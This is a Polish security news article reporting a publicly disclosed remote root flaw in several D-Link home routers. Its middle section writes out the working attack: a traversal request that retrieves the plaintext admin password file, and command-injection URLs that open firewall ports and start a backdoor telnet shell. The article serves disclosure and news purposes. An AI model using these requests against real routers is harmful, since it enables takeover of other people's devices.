I oto kolejny zdalny root w domowych ruterach D-Linka

dodał 3 grudnia 2013 o 11:37 w kategorii Wpadki  z tagami:
I oto kolejny zdalny root w domowych ruterach D-Linka

Domowe rutery nie przestają być źródłem ciekawych odkryć. Trudno powiedzieć, czy więcej w nich tylnych furtek, czy trywialnych błędów. Tym razem padło ponownie na sprzęt D-Linka, w którym dzięki prostym błędom można uzyskać prawa roota.

Dzisiaj w nocy na liście Full Disclosure pojawił się post opisujący, jak w prosty sposób uzyskać uprawnienia administratora na ruterach D-Linka DIR-300, DIR-320, DIR-600 oraz DIR-615. Błąd prawdopodobnie może dotyczyć także innych modeli.

Drogi D-Linku, ileż można?

Całkiem niedawno opisywaliśmy trywialną tylną furtkę w niektórych modelach (dopiero co załataną), a dzisiaj pokazujemy, jak w kilku krokach zalogować się do rutera. Pierwszym krokiem jest uzyskanie dostępu do interfejsu www rutera – albo w sieci lokalnej, albo zdalnie (biorąc pod uwagę popularność tych urządzeń, część z nich jest bez wątpienia dostępna publicznie). Następnie należy do rutera wysłać żądanie o treści:

http://IP/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

W odpowiedzi otrzymamy plik z loginem i hasłem konta administracyjnego. Niczego nie trzeba dekodować – są one zapisane otwartym tekstem.

Wynik wykonania polecenia

Wynik wykonania polecenia

Używając tych danych trzeba zalogować się do interfejsu administracyjnego i na przykład wykonać następujący zestaw poleceń za pomocą interfejsu www:

http://IP/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/iptables -t nat -A PRE_MISC -i eth0.2 -p tcp --dport $TPORT -j ACCEPT&set/runtime/syslog/sendmail=1" 1>/dev/null;

http://IP/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/iptables -t nat -A PRE_MISC -i eth0.2 -p tcp --dport $UPORT -j ACCEPT&set/runtime/syslog/sendmail=1" 1>/dev/null;

http://IP/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/telnetd -p 31337 -l /usr/sbin/login -u hacked:me&set/runtime/syslog/sendmail=1" 1>/dev/null;

W efekcie powinniśmy zobaczyć na ruterze otwarty port usługi telnet, do której można się zalogować za pomocą loginu „hacked” i hasła „me”. Jeśli komuś nie chce się bawić w klepanie lub przeklejanie poleceń, zawsze może skorzystać z gotowego skryptu, opublikowanego wraz z informacją o błędzie.

Błąd był wcześniej znany

Metoda dobrania się do pliku z hasłami D-Linka była już wcześniej znana naszym braciom Rosjanom co najmniej od czerwca tego roku. Co ciekawe, znał ją również producent D-Linka, ponieważ załatał ją w urządzeniu DAP-2553 w wersji oprogramowania z 8 listopada 2013. Nie natrafiliśmy jednak na ślady podobnych poprawek w innych urządzeniach.

Autorzy publikacji na liście Full Disclosure

Jako ciekawostkę dodamy, że autorami publikacji są prawdopodobnie nasi rodacy. Ukrywają się pod adresem email o loginie „tytusromekiatomek” oraz pseudonimami

AKAT-1
22733db72ab3ed94b5f8a1ffcde850251fe6f466
c8e74ebd8392fda4788179f9a02bb49337638e7b

Pod tym szyldem opublikowali w tym roku sporą garść błędów, w tym w OpenSSL, Varnishu, Squidzie, SIP Witch, Apache Subversion, MS HTTP.sys czy telewizorach Samsunga, a wcześniej pod nieco innymi pseudonimami drugie tyle dziur w wielu popularnych platformach.